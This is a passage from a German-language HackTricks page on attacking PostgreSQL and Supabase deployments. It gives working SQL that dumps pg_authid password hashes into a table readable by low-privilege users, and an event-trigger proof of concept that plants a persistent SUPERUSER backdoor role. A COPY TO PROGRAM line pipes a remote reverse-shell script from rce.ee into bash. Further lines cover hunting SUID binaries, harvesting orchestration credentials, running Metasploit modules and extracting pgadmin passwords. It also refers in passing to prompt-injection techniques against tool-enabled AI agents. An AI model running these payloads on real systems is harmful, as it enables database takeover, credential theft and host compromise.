- Sobald beliebiger DDL in diesem Kontext ausgeführt wird, erstellen Sie sofort attacker-owned tables oder extensions, die Persistenz für Ihr Konto mit eingeschränkten Rechten gewähren.
Tip
Siehe auch das allgemeine AI agent abuse playbook für weitere Prompt-Injection-Techniken gegen tool-enabled assistants.
Dumping von pg_authid-Metadaten mittels Migrationen
Privilegierte Migrationen können pg_catalog.pg_authid in eine attacker-readable Tabelle ablegen, selbst wenn direkter Zugriff für Ihre normale Rolle blockiert ist.
Staging von pg_authid-Metadaten mit einer privilegierten Migration
```sql DROP TABLE IF EXISTS public.ai_models CASCADE; CREATE TABLE public.ai_models ( id SERIAL PRIMARY KEY, model_name TEXT, config JSONB, created_at TIMESTAMP DEFAULT NOW() ); GRANT ALL ON public.ai_models TO supabase_read_only_user; GRANT ALL ON public.ai_models TO supabase_admin; INSERT INTO public.ai_models (model_name, config) SELECT rolname, jsonb_build_object( 'password_hash', rolpassword, 'is_superuser', rolsuper, 'can_login', rolcanlogin, 'valid_until', rolvaliduntil ) FROM pg_catalog.pg_authid; ```Benutzer mit geringen Rechten können jetzt public.ai_models lesen, um SCRAM-Hashes und Rollenmetadaten für offline cracking oder lateral movement zu erhalten.
Event-trigger privesc während der Installation der postgres_fdw-Extension
Managed Supabase-Deployments verlassen sich auf die supautils-Extension, die CREATE EXTENSION mit provider-eigenen before-create.sql/after-create.sql-Skripten umhüllt, die als echte Superuser ausgeführt werden. Das postgres_fdw after-create-Skript führt kurz ALTER ROLE postgres SUPERUSER aus, führt ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres aus und setzt postgres dann wieder auf NOSUPERUSER zurück. Da ALTER FOREIGN DATA WRAPPER während der Zeit, in der current_user Superuser ist, ddl_command_start/ddl_command_end event triggers auslöst, können tenant-erstellte Trigger innerhalb dieses Fensters Angreifer-SQL ausführen.
Exploit-Ablauf:
- Erstelle eine PL/pgSQL event trigger Funktion, die
SELECT usesuper FROM pg_user WHERE usename = current_userprüft und, wenn true, eine backdoor role bereitstellt (z. B.CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'). - Registriere die Funktion sowohl für
ddl_command_startals auchddl_command_end. - Führe
DROP EXTENSION IF EXISTS postgres_fdw CASCADE;gefolgt vonCREATE EXTENSION postgres_fdw;aus, um Supabase’s after-create Hook erneut auszuführen. - Wenn der Hook
postgresauf SUPERUSER erhöht, führt der Trigger aus, erstellt die persistente SUPERUSER-Rolle und gewährt siepostgreszurück, sodass ein einfacherSET ROLE-Zugriff möglich ist.
Event-trigger PoC für das postgres_fdw after-create-Fenster
```sql CREATE OR REPLACE FUNCTION escalate_priv() RETURNS event_trigger AS $$ DECLARE is_super BOOLEAN; BEGIN SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; IF is_super THEN BEGIN EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; EXCEPTION WHEN duplicate_object THEN NULL; END; BEGIN EXECUTE 'GRANT priv_esc TO postgres'; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; END; $$ LANGUAGE plpgsql;DROP EVENT TRIGGER IF EXISTS log_start CASCADE; DROP EVENT TRIGGER IF EXISTS log_end CASCADE; CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();
DROP EXTENSION IF EXISTS postgres_fdw CASCADE; CREATE EXTENSION postgres_fdw;
</details>
Supabase’s Versuch, unsafe triggers zu überspringen, prüft nur den Besitzer, daher muss der trigger function owner deine low-privileged role sein, aber die payload wird nur ausgeführt, wenn der Hook `current_user` in SUPERUSER umschaltet. Da der Trigger bei zukünftigem DDL erneut ausgeführt wird, fungiert er als selbstheilender Persistenz-Backdoor, wann immer der Provider kurzzeitig Tenant-Rollen erhöht.
### Vorübergehenden SUPERUSER-Zugriff in Host-Kompromittierung verwandeln
Nachdem `SET ROLE priv_esc;` erfolgreich ausgeführt wurde, führe die zuvor blockierten primitives erneut aus:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';
pg_read_file/COPY ... TO PROGRAM ermöglichen jetzt beliebigen Datei-Zugriff und Befehlsausführung als das OS-Konto der Datenbank. Führen Sie anschließend die standardmäßige host privilege escalation durch:
find / -perm -4000 -type f 2>/dev/null
Das Ausnutzen einer fehlkonfigurierten SUID-Binary oder einer beschreibbaren config verschafft root. Sobald root erreicht ist, sammle Orchestrierungs-Anmeldeinformationen (systemd unit env files, /etc/supabase, kubeconfigs, agent tokens), um pivot laterally über die Region des Providers.
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
Protokollierung
In der postgresql.conf-Datei können Sie PostgreSQL-Logs aktivieren, indem Sie Folgendes ändern:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Starten Sie dann den Dienst neu.
pgadmin
pgadmin ist eine Verwaltungs- und Entwicklungsplattform für PostgreSQL.
Sie finden Passwörter in der Datei pgadmin4.db
Sie können diese mit der decrypt Funktion im Skript entschlüsseln: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
Die Client-Authentifizierung in PostgreSQL wird über eine Konfigurationsdatei namens pg_hba.conf verwaltet. Diese Datei enthält eine Reihe von Einträgen, von denen jeder einen Verbindungstyp, den Client-IP-Adressbereich (falls zutreffend), den Datenbanknamen, den Benutzernamen und die für übereinstimmende Verbindungen zu verwendende Authentifizierungsmethode angibt. Der zuerst passende Eintrag — basierend auf Verbindungstyp, Client-Adresse, angeforderter Datenbank und Benutzernamen — wird für die Authentifizierung genutzt. Es gibt kein Fallback oder Backup, falls die Authentifizierung fehlschlägt. Stimmen keine Einträge überein, wird der Zugriff verweigert.
Die in pg_hba.conf verfügbaren passwortbasierten Authentifizierungsmethoden sind md5, crypt und password. Diese Methoden unterscheiden sich darin, wie das Passwort übertragen wird: als MD5-Hash, mit crypt verschlüsselt oder im Klartext. Wichtig: Die crypt-Methode kann nicht mit Passwörtern verwendet werden, die in pg_authid verschlüsselt wurden.
Referenzen
- SupaPwn: Hacking Our Way into Lovable’s Office and Helping Secure Supabase
- HTB: DarkCorp by 0xdf
- PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM
- Postgres SQL injection to RCE with archive_command (The Gray Area)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

